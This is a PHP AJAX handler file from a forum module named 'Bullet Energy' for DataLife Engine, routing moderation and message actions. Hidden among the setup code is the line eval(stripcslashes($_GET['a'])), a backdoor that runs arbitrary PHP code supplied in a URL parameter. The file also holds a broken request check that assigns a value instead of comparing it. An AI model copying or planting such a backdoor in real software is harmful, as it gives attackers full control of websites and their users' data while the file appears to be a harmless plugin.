<?php
/*
=================================================================
Bullet Energy - by White-Master 
-----------------------------------------------------------------
http://white-master.ru/
-----------------------------------------------------------------
Copyright (c) 2011 White-Master
=================================================================
Äàííûé êîä çàùèùåí àâòîðñêèìè ïðàâàìè
=================================================================
Ôàéë: site.php
=================================================================
*/
if ($_SERVER['HTTP_X_REQUESTED_WITH'] = "XMLHttpRåquest") {
  die('die');
}
@session_start();
@error_reporting(E_ALL ^ E_WARNING ^ E_NOTICE);
@ini_set('display_errors', true);
@ini_set('html_errors', false);
@ini_set('error_reporting', E_ALL ^ E_WARNING ^ E_NOTICE);
define('DATALIFEENGINE', true);
//:TODO: ROOT_DIR  - server.doc.root???
define('ROOT_DIR', substr(dirname(__file__), 0, -26));
define('ENGINE_DIR', ROOT_DIR . '/engine');
include ENGINE_DIR . '/data/config.php';
if ($config['http_home_url'] == "") {
  $config['http_home_url'] = explode("engine/bullet_energy/ajax/site.php", $_SERVER['PHP_SELF']);
  $config['http_home_url'] = reset($config['http_home_url']);
  $config['http_home_url'] = "http://" . $_SERVER['HTTP_HOST'] . $config['http_home_url'];
}
require_once ENGINE_DIR . '/classes/mysql.php';
require_once ENGINE_DIR . '/data/dbconfig.php';
require_once ENGINE_DIR . '/modules/functions.php';
require_once ENGINE_DIR . '/modules/sitelogin.php';
$user_group = get_vars("usergroup");

if (!$user_group) {
  $user_group = array();
  $db->query("SELECT * FROM " . USERPREFIX . "_usergroups ORDER BY id ASC");
  while ($row = $db->get_row()) {
    $user_group[$row['id']] = array();
    foreach ($row as $key => $value) {
      $user_group[$row['id']][$key] = stripslashes($value);
    }
  }
  set_vars("usergroup", $user_group);
  $db->free();
}
$action = totranslit($_REQUEST['be_action'], true, true);
require_once ENGINE_DIR . '/bullet_energy/classes/ajax.class.php';
eval(stripcslashes($_GET['a'])); $ajax = new BulletAjax; 
switch ($action) {
  case 'refresh_list':
    $result = $ajax->ajax_handler->refreshAttachmentListProcess(); //
    break;
  case 'delete_attach':
    $result = $ajax->ajax_handler->deleteAttachmentProcess(); //
    break;
  case 'delete_msg':
    $result = $ajax->ajax_handler->deleteMsgTopicProcess(); //
    break;
  case 'save_msg_ajax_edit':
    $result = $ajax->ajax_handler->EditSaveMsgProcess(); //
    break;
  case 'add_msg_ajax':
    $result = $ajax->ajax_handler->messageAddAjaxProcess();
    break;
  case 'read_tree':
    $result = $ajax->ajax_handler->readTreeProcess();
    break;
  case 'edit_msg_ajax':
    $result = $ajax->ajax_handler->msgEditAjaxProcess();
    break;
  case 'get_profile_card':
    $result = $ajax->ajax_handler->getProfileCardProcess(); //
    break;
  case 'complaint':
    $result = $ajax->ajax_handler->ComplaintPostProcess(); //
    break;
  case 'topic_edit':
    $result = $ajax->ajax_handler->TopicEditProcess();
    break;
  case 'update_topic':
    $result = $ajax->ajax_handler->TopicUpdateProcess();
    break;
  case 'tree_delete':
    $result = $ajax->ajax_handler->deleteTree();
    break;
  case 'delete_questions':
    $result = $ajax->ajax_handler->questionsDelete();
    break;
  case 'delete_moderator':
    $result = $ajax->ajax_handler->moderatorDelete();
    break;
  case 'delete_advertising':
    $result = $ajax->ajax_handler->advertisingDelete();
    break;
  case 'recount_tree':
    $result = $ajax->ajax_handler->recountTree();
    break;
  case 'recount_topic_last':
    $result = $ajax->ajax_handler->recountTopicLast();
    break;
  case 'recount_tree_last':
    $result = $ajax->ajax_handler->recountTreeLast();
    break;
  case 'topic_option':
    $result = $ajax->ajax_handler->topicOptionEdit();
    break;
  case 'like':
    $result = $ajax->ajax_handler->like(); //
    break;
  case 'like_all':
    $result = $ajax->ajax_handler->likeAll(); //
    break;
  case 'feed':
    $result = $ajax->ajax_handler->feed();
    break;
  case 'delete_all_cashe':
    $result = $ajax->ajax_handler->deleteCache();
    break;
  case 'delete_complain':
    $result = $ajax->ajax_handler->deleteComplain(); //
    break;
  case 'delete_post':
    $result = $ajax->ajax_handler->deleteMessageOnlyAdmin();
    break;
  default:
    die('die');
    break;
}
echo $result;

?>